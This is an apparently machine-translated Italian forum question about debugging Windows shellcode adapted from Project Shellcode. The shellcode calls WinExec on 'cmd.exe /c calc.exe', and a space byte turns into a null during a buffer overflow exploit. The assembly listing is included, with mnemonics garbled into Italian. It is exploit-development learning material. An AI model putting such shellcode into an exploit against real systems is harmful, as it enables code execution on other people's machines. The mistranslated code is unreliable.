La situazione: Attualmente sto lavorando su shellcode (ho modificato il codice assembly da Project Shellcode) che esegue "cmd.exe / c calc.exe". Lo shellcode funziona perfettamente. Tuttavia, quando uso lo shellcode durante un exploit di overflow del buffer, il byte 0x20 (carattere spazio) nella stringa viene sostituito con un byte null. Non riesco a trovare una buona spiegazione del perché questo sta accadendo. Il seguente è il codice assembly:
; chiama calc.exe. Modificato dal link [SECTION .text]
BITS 32
global _start
_start:
jmp short GetCommand
CommandReturn: pop ebx; ebx ora punta alla stringa xor eax, eax; clear eax spingere eax; premere null sullo stack spingere ebx; spingere la stringa di comando sullo stack mov ebx, 0x7c86114d; posiziona l'indirizzo winExec in ebx chiama ebx; chiama WinExec ({cmd}, 0)
xor eax, eax; rimuovere il valore di ritorno di WinExec
push eax; push null sullo stack come valore del parametro
mov ebx, 0x7c81caa2; inserire l'indirizzo ExitProcess in ebx
chiama ebx; chiama ExitProcess (0)
GetCommand: chiama CommandReturn db 'cmd.exe / c calc', 0; lo spazio è sostituito da null.
Ciò che so finora:
- So che non ho problemi di spazio, perché ho inserito una stringa più lunga senza spazi e viene comunque visualizzata in memoria.
- So che lo shellcode funziona perché l'ho provato inserendolo direttamente in un buffer e chiamando il buffer come una chiamata di funzione in C.
Quello che segue è quello che vedo nella finestra in alto a sinistra di Immunity:
- Indirizzi 0012FFB3-0012FFCB è lo shellcode
- Questa è la mia diapositiva NOP.
- A partire dall'indirizzo 0012FFD0 dovrebbe essere "cmd.exe / c calc.exe", ma è solo "cmd.exe", vedo all'indirizzo 0012FFEB che alla fine c'è un nullo invece di 0x20.